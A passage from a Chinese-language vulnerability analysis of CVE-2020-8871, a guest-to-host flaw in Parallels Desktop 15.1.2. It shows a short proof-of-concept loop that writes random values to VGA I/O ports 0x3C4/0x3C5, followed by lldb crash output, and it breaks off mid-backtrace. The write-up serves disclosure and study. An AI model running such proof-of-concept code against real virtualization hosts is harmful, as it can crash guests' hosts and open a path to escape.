Mac的Parallels Desktop for Mac是macOS最受欢迎的虚拟化程序之一,但是关于此产品的公开漏洞研究很少。去年11月,Reno Robert(@renorobertr)向ZDI报告了Parallels中的多个漏洞,其中一个漏洞允许guest OS上的本地用户提升特权并在主机上执行代码。该漏洞于5月用15.1.3版本进行了修补,并分配编号CVE-2020-8871(ZDI-20-292)。这篇文章深入研究了该漏洞以及Parallels对其进行的代码更改以修复该漏洞。
0x01 初步分析
以下所有分析均基于15.1.2版。经过测试,guest 虚拟机配置了默认选项。
原始漏洞报告很简短,并且通过简单的Fuzzing就可以找到。以下是POC中的相关代码:
while (1) { port = random_range(0x3C4, 0x3C5+1); value = random_range(0, 0xFFFF+1); outw(value, port); }
基本上,这会随机且无限地将byte写入I / O端口0x3C4和0x3C5。如果在受影响的Parallels版本上运行POC,它将使prl_vm_app主机OS上的进程崩溃。系统上的每个虚拟机都由一个单独的prl_vm_app进程表示奇热。
Process 619 stopped * thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000) frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app: -> 0x108c7a082 : mov dword ptr [rsi], ecx 0x108c7a084 : cmp r12d, 0x2 0x108c7a088 : jb 0x108c7a0a0 ; 0x108c7a08a : mov dword ptr [rsi + 0x4], ecx Target 0: (prl_vm_app) stopped. (lldb) bt * thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000) * frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738 frame #1: 0x0000000108c7ac8b prl_vm_app`___lldb_unnamed_symbol5078$$prl_vm_app + 907 frame #2: 0x0000000108c7dd52 prl_vm_app`___lldb_unnamed_symbol5093$$prl_vm_app + 1442 frame #3: 0x0000000108ce66dc prl_vm_app`___lldb